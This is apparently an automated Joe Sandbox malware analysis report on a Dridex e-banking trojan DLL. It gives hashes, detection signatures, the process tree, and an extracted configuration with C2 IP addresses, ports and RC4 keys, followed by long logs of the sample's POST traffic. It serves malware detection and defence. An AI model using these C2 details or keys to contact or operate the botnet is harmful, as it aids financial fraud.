Play interactive tour

Edit tour

Windows Analysis Report SecuriteInfo.com.Variant.Razy.980776.19803.14094

Overview

General Information

Sample Name:	SecuriteInfo.com.Variant.Razy.980776.19803.14094 (renamed file extension from 14094 to dll)
Analysis ID:	510692
MD5:	617b1fd1bfdab72e5562c0c2f7600bcb
SHA1:	9e5bf19ba51cbd5849a225f022b939a48e5769b3
SHA256:	9b9c38d267cedfb2c423fbad71a50f76d0743a3ecc8f6027029fa13ea36e00e4
Tags:	dll
Infos:
Most interesting Screenshot:

Detection

Dridex

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Yara detected Dridex unpacked file

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Detected Dridex e-Banking trojan

C2 URLs / IPs found in malware configuration

Uses 32bit PE files

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Uses code obfuscation techniques (call, push, ret)

Queries the installation date of Windows

Internet Provider seen in connection with other malware

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Contains functionality to read the PEB

Detected TCP or UDP traffic on non-standard ports

Contains functionality to query network adapater information

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 5856 cmdline: loaddll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll' MD5: 72FCD8FB0ADC38ED9050569AD673650E)

cmd.exe (PID: 6508 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 6540 cmdline: rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6556 cmdline: rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll,Bluewing MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 3312 cmdline: rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll,Earth MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5364 cmdline: rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.19803.dll,Masterjust MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cleanup

Malware Configuration

Threatname: Dridex

{"Version": 10444, "C2 list": ["192.46.210.220:443", "143.244.140.214:808", "45.77.0.96:6891", "185.56.219.47:8116"], "RC4 keys": ["9fRysqcdPgZffBlroqJaZHyCvLvD6BUV", "syF7NqCylLS878kcIy9w5XeI8w6uMrqVwowz4h3uWHHlWsr5ELTiXic3wgqbllkcZyNGwPGihI"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
00000004.00000003.417154756.0000000003200000.00000040.00000001.sdmp	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
00000006.00000003.439012632.0000000002D50000.00000040.00000001.sdmp	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
00000004.00000002.869577587.000000006E651000.00000020.00020000.sdmp	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
00000005.00000003.431444346.0000000004DA0000.00000040.00000001.sdmp	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
00000000.00000003.440875078.0000000001030000.00000040.00000001.sdmp	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
00000003.00000003.415782949.0000000000520000.00000040.00000001.sdmp	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author
3.3.rundll32.exe.53db55.0.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
0.3.loaddll32.exe.104db55.0.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
6.3.rundll32.exe.2d6db55.0.raw.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
4.3.rundll32.exe.321db55.0.raw.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
4.2.rundll32.exe.6e650000.0.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
6.3.rundll32.exe.2d6db55.0.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
4.3.rundll32.exe.321db55.0.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
5.3.rundll32.exe.4dbdb55.0.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
5.3.rundll32.exe.4dbdb55.0.raw.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
0.3.loaddll32.exe.104db55.0.raw.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
0.2.loaddll32.exe.6e650000.0.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
3.3.rundll32.exe.53db55.0.raw.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
Click to see the 7 entries

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 0.3.loaddll32.exe.104db55.0.raw.unpack

Malware Configuration Extractor: Dridex {"Version": 10444, "C2 list": ["192.46.210.220:443", "143.244.140.214:808", "45.77.0.96:6891", "185.56.219.47:8116"], "RC4 keys": ["9fRysqcdPgZffBlroqJaZHyCvLvD6BUV", "syF7NqCylLS878kcIy9w5XeI8w6uMrqVwowz4h3uWHHlWsr5ELTiXic3wgqbllkcZyNGwPGihI"]}

Multi AV Scanner detection for submitted file

Show sources

Source: SecuriteInfo.com.Variant.Razy.980776.19803.dll	Virustotal: Detection: 7%			Perma Link
Source: SecuriteInfo.com.Variant.Razy.980776.19803.dll	ReversingLabs: Detection: 18%

Source: SecuriteInfo.com.Variant.Razy.980776.19803.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: unknown	HTTPS traffic detected: 192.46.210.220:443 -> 192.168.2.3:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.46.210.220:443 -> 192.168.2.3:49747 version: TLS 1.2

Source: SecuriteInfo.com.Variant.Razy.980776.19803.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: c:\Gun\208-town\521\exa\botto\party.pdb source: loaddll32.exe, 00000000.00000002.845974920.000000006E717000.00000002.00020000.sdmp, rundll32.exe, 00000004.00000002.888666799.000000006E717000.00000002.00020000.sdmp, SecuriteInfo.com.Variant.Razy.980776.19803.dll

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6E67CEF8 FindFirstFileExW,

0_2_6E67CEF8

Networking:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 45.77.0.96 235	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 185.56.219.47 180	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 192.46.210.220 187	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 143.244.140.214 40	Jump to behavior

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 192.46.210.220:443
Source: Malware configuration extractor	IPs: 143.244.140.214:808
Source: Malware configuration extractor	IPs: 45.77.0.96:6891
Source: Malware configuration extractor	IPs: 185.56.219.47:8116

Source: Joe Sandbox View	ASN Name: AS-CHOOPAUS AS-CHOOPAUS
Source: Joe Sandbox View	ASN Name: KELIWEBIT KELIWEBIT

Source: Joe Sandbox View

JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4802Connection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Host: 192.46.210.220Content-Length: 4814Connection: CloseCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 45.77.0.96 45.77.0.96
Source: Joe Sandbox View	IP Address: 185.56.219.47 185.56.219.47

Source: global traffic	TCP traffic: 192.168.2.3:49748 -> 143.244.140.214:808
Source: global traffic	TCP traffic: 192.168.2.3:49751 -> 45.77.0.96:6891
Source: global traffic	TCP traffic: 192.168.2.3:49753 -> 185.56.219.47:8116

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50148
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50157
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50156
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
